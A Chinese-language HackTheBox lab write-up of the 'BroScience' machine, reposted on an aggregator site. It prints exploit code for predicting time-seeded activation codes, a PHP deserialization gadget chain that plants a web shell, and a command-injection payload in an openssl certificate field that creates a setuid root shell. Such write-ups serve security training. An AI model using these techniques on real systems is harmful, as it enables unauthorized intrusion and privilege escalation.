HackTheBox - Medium - Linux - BroScience

这篇具有很好参考价值的文章主要介绍了HackTheBox - Medium - Linux - BroScience。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

BroScience

BroScience 是一款中等难度的 Linux 机器,其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力,攻击者可以深入了解帐户激活码的生成方式,从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后,进一步枚举显示该站点'的主题选择器功能容易受到使用自定义小工具链的 PHP 反序列化的影响,允许攻击者复制目标系统上的文件,最终导致远程代码执行。一旦站稳了脚跟,就会从数据库中恢复一些哈希值,一旦被破解,就会证明其中包含机器的有效“SSH”密码'的主要用户“bill”。最后,权限升级基于执行 Bash 脚本的 cronjob,该脚本容易受到通过“openssl”生成的证书进行命令注入的攻击,从而丧失对攻击者的“root”访问权限。


外部信息收集

端口扫描

循例nmap

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

Web枚举

在主页源码中可以看到img.php包含图片文件名来显示图片

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

但是会检测“/”,通过对%进行url enocde,实现二次url编码绕过

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

注册的时候需要激活码,然而这激活码是不可能发到我们的邮箱的

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

通过LFI读register.php,可以看到其调用utils.php中的生成函数

// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
...
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

跟到utils.php

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

它通过时间戳来做随机数种子,而与这个时间戳最接近并且我们能够获取到的,也就是register.php返回的响应头中的Date,将其转为时间戳,再做容错

首先注册一个账户

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

将响应头的Date拿去转换

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

exp

<?php
function generate_activation_code($time) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($time);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    echo $activation_code . "\n";
}

$time = 1704279054;

for ($t = $time;$t <= $time + 20; $t++){
    generate_activation_code($t);
}

?>

将生成的code保存到文件,ffuf跑一下

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

code应该是有时效的,及时到activate.php上激活

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

登录

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

Foothold

继续通过LFI读user.php

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

跟回到utils.php

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

...

不需要脑子的反序列化,exp

<?php

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = '/var/lib/php/sessions/sess_76n6mi015r86vgf1blcnmnhqtl';
    public $imgPath = "/var/www/html/cmd.php"; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$a = new AvatarInterface();
echo base64_encode(serialize($a));

将base64复制到Cookie

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

用相同的方法注册并激活一个恶意用户,并且登录

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

再打一遍反序列化exp。cmd.php

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

常规python3 reverse shell

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

本地横向移动

db_connect.php

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

psql进数据库

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

查表

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

直接select * from users;

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

bill是目标系统上的账户,爆破它的密码hash对我们有利,拿上前面读到的salt进行爆破

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

登ssh

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

本地权限提升

传个pspy

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

它会先检查/home/bill/Certs/broscience.crt证书是否是一天内到期

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

然后它会生成一个证书,并且执行一个bash命令,而我们可以劫持$commonName

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

在生成证书的时候,我们向CommonName写入cmd

ill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -out broscience.crt -days 1
...
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/bash;chmod +s /tmp/bash)
Email Address []:
...

等一会,迎接老朋友的到来

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web文章来源地址https://www.toymoban.com/news/detail-775946.html

到了这里,关于HackTheBox - Medium - Linux - BroScience的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [渗透测试学习]Three - HackTheBox

    本靶机考察的是AWS服务 Task1 问题:打开了多少个TCP端口? nmap扫一下 Task2 问题: 网站“联系人”部分提供的电子邮

    2024年02月02日
    浏览(32)
  • hackthebox --interface medium

    nmap -sV -sC -O -p22,80 10.10.11.200 -oN ports   访问80页面,主页面是这样的  再访问一下index.php或者index.html 发现是404错误, 有可能是里面隐藏了一些api我们可以查看到搜索看看有没有类似的api泄露 利用f12查看js源码 搜索http:// 或者/ 或者/upload 这里搜索到的是/api  说明这里是有可能跳

    2024年02月06日
    浏览(35)
  • DVWA 靶场之 Brute Force-Low&Medium(前期配置铺垫与渗透方法及源码分析)

    首先登录 DVWA 靶场 DVWA 默认的用户有5个,用户名及密码如下: 难度等级设置为 low ,我们先从最简单的开始 来到 Brute Force(暴力破解) 我们可以输入用户名和密码 简单测了几个,回显用户名或密码不正确 但是并未对我们输入的内容及次数进行限制,因此直接进行爆破 暴力

    2024年02月19日
    浏览(40)
  • Kali Linux渗透测试技术详解_渗透测试入门

    知识点 1. Kali Linux是做渗透测试用的 2. 安装VMware Workstation虚拟机 3. 安装kali-linux系统 4. 基本用法-重新设置root密码 5 安装debian11系统-默认命令行模式登录 渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法,这个过程包括对系统的任何弱点、

    2024年02月13日
    浏览(51)
  • 【Kali Linux高级渗透测试】深入剖析Kali Linux:高级渗透测试技术与实践

    📕作者简介: 热爱跑步的恒川 ,致力于C/C++、Java、Python等多编程语言,热爱跑步,喜爱音乐的一位博主。 📗本文收录于恒川的日常汇报系列,大家有兴趣的可以看一看 📘相关专栏C语言初阶、C语言进阶系列、恒川等,大家有兴趣的可以看一看 📙Python零基础入门系列,J

    2024年02月10日
    浏览(46)
  • Linux操作系统渗透测试

    Linux操作系统渗透测试 任务环境说明: 服务器场景:Linux 服务器场景操作系统:Linux(版本不详) 渗透机环境说明: BT5渗透机用户名:root密码:toor Kali渗透机用户名:root密码:toor Windows7渗透机用户名:administrator密码:123456 1.通过Kali对服务器场景Linux进行操作系统扫描渗透

    2023年04月09日
    浏览(44)
  • 渗透测试(8)- Kali Linux 系统概述

        Kali Linux 是一个基于 Debian 的 Linux 发行版,包括很多安全和取证方面的相关工具。Kali Linux 是一款全功能的安全操作系统,它可以帮助用户完成各种安全任务,包括网络渗透测试、系统攻击、密码破解、恶意软件分析、社会工程学攻击等,同时也可以用于安全研究,帮助

    2024年01月17日
    浏览(39)
  • 【Kali Linux】高级渗透测试实战篇

    对于企业网络安全建设工作的质量保障,业界普遍遵循PDCA(计划(Plan)、实施(Do)、检查(Check)、处理(Act))的方法论。近年来,网络安全攻防对抗演练发挥了越来越重要的作用。企业的安全管理者通过组织内部或外部攻击队,站在恶意攻击者的视角,识别自身网络安

    2024年02月10日
    浏览(41)
  • 如何使用Kali Linux进行渗透测试?

    1. 渗透测试简介 渗透测试是通过模拟恶意攻击,评估系统、应用或网络的安全性的过程。Kali Linux为渗透测试人员提供了丰富的工具和资源,用于发现漏洞、弱点和安全风险。 2. 使用Kali Linux进行渗透测试的步骤 以下是使用Kali Linux进行渗透测试的基本步骤: 信息收集: 在进

    2024年02月12日
    浏览(44)
  • 从实践中学习Kali Linux渗透测试

    目录 第一章 渗透测试概述 1.1 什么是渗透测试 1.1.1 黑盒测试 1.1.2 白盒测试 1.1.3 灰盒测试 1.2 渗透测试流程 1.3 Kali Linux系统概述 1.3.1 为什么使用Kali Linux 1.3.2 Kali Linux发展史 1.4 法律边界 1.4.1 获取合法权限 1.4.2 部分操作的危害性 第二章 安装Kali Linux系统 2.1 下载镜像 2.1.1 获取

    2023年04月08日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包